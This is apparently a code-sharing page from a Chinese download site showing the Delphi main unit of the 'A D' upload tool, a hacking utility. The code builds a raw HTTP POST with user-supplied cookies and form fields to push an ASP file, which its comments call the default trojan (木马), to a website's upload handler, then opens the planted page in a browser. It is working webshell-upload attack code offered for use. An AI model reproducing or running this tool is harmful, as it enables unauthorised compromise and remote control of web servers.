⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 upfilemain.pas

📁 Delphi源代码-啊D上传工具
💻 PAS
字号:
unit UpFileMain;

interface

uses
  Windows, Messages, ShellAPI, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, UpFileCode, StdCtrls, WinSock, TFlatComboBoxUnit, TFlatEditUnit, TFlatSpeedButtonUnit,
  TFlatCheckBoxUnit;

type
  TUpFileForm1 = class(TForm)
    Up_Url: TFlatEdit;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    Up_Cookies: TMemo;
    Label4: TLabel;
    Label5: TLabel;
    Up_FileType: TFlatComboBox;
    Up_PathField: TFlatComboBox;
    Up_FileField: TFlatComboBox;
    Up_FilePath: TFlatComboBox;
    Label6: TLabel;
    UpFile_ShowMsg: TMemo;
    Up_Submit: TFlatSpeedButton;
    Up_File: TMemo;
    AspUrl: TFlatEdit;
    FlatSpeedButton1: TFlatSpeedButton;
    AspFile: TFlatEdit;
    SelAspM: TFlatCheckBox;
    Up_OpenAspFile: TFlatSpeedButton;
    UpFileOpenDialog: TOpenDialog;
    procedure Up_SubmitClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure FlatSpeedButton1Click(Sender: TObject);
    procedure Up_OpenAspFileClick(Sender: TObject);
    procedure SelAspMClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  UpFileForm1: TUpFileForm1;
  AspStr: string;

implementation

{$R *.dfm}



function GetFileSize(sFName: string): Longint;
var
  SearchRec: TSearchRec;
begin
  if FindFirst(sFName, faAnyFile, SearchRec) = 0 then
    Result := SearchRec.Size
  else
    Result := -1;
  FindClose(SearchRec);
end;



procedure UpAspFile;
var
  FSocket, ErrCode, Re: integer;
  str, str2, Url, HostName, FileName, Cookiestr: string;
  BufSend, BufRecv: pchar;
  Relength: integer;
begin

  with UpFileForm1 do
  begin
    try
      UpFile_ShowMsg.Lines.Clear;
      Url := Up_Url.Text;
      Up_Submit.Enabled := false; //上传按钮设置为不可用

    //分解连接
      ParseURL(Url, HostName, FileName);

    //提交的内容
      str := Set_PostStr(Up_FilePath.Text, Up_File.Text, Up_PathField.Text, Up_FileField.Text, Up_FileType.Text);

    //把 Cookiestr 的回车符去掉
      Cookiestr := StringReplace(Up_Cookies.Text, #13#10, '', [rfReplaceAll]);

    //Header的填定
      str2 := Set_Postheader(url, length(str), Cookiestr);

    //初始化
      StartNet(HostName, 80, FSocket);

    //发送内容
      SendData(FSocket, str2 + str);

    // 读取主机返回信息
      GetMem(BufRecv, 1024);
    //------------ 重复执行下面代码用于读取主机返回信息 --------
      while true do
      begin
        ZeroMemory(bufRecv, 1024);
        re := recv(FSocket, BufRecv^, 1024, 0); //接收数据
        if re = -1 then begin
          ErrCode := WSAGetLastError;
          case ErrCode of
            10060: UpFile_ShowMsg.Lines.Add(' [ 超时.. ] ');
          else UpFile_ShowMsg.Lines.Add('出错! ' + inttostr(Errcode) + ' 号错误!');
          end;
          break;
        end;
        str := StrPas(bufRecv); //转为 string 类型
        UpFile_ShowMsg.Lines.Add(str);
        if re <> 1024 then break;
      end;
   //----------------------------------------------------------

    finally
      FreeMem(BufRecv); //释放内存空间
      closesocket(FSocket);
      Up_Submit.Enabled := true; //上传按钮设置为可用
    end;
  end;
end;

procedure TUpFileForm1.Up_SubmitClick(Sender: TObject);
var
  i: integer;
begin
  for i := length(Up_Url.text) downto 5 do
  begin
    if Up_Url.Text[i] = '/' then
    begin
      AspUrl.Text := copy(Up_Url.Text, 1, i) + Up_FilePath.Text;
      break;
    end;
  end;


  thdo(@UpAspFile); //执行上传操作
end;

procedure TUpFileForm1.FormCreate(Sender: TObject);
var
  Wsadata: Twsadata;
begin
  WSAStartup(Makeword(2, 0), Wsadata); //初始化sock
  AspStr := Up_File.Text; //把默认木马的内容保存下来
end;

procedure TUpFileForm1.FormDestroy(Sender: TObject);
begin
  WSACleanup; //FREE SOCK
end;

procedure TUpFileForm1.FlatSpeedButton1Click(Sender: TObject);
begin
  if AspUrl.Text = '' then exit;
  ShellExecute(Handle, 'open', 'IEXPLORE.exe', pchar(AspUrl.Text), nil, SW_SHOW);
end;

procedure TUpFileForm1.Up_OpenAspFileClick(Sender: TObject);
begin
  //打开木马文件
  if UpFileOpenDialog.Execute then
  begin
    AspFile.Text := UpFileOpenDialog.FileName;
    Up_File.Lines.LoadFromFile(AspFile.Text);
  end;
end;

procedure TUpFileForm1.SelAspMClick(Sender: TObject);
begin
  Up_OpenAspFile.Enabled := SelAspM.Checked;
  AspFile.Enabled := SelAspM.Checked;
  if SelAspM.Checked = false then Up_File.Text := AspStr; //恢复默认木马
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -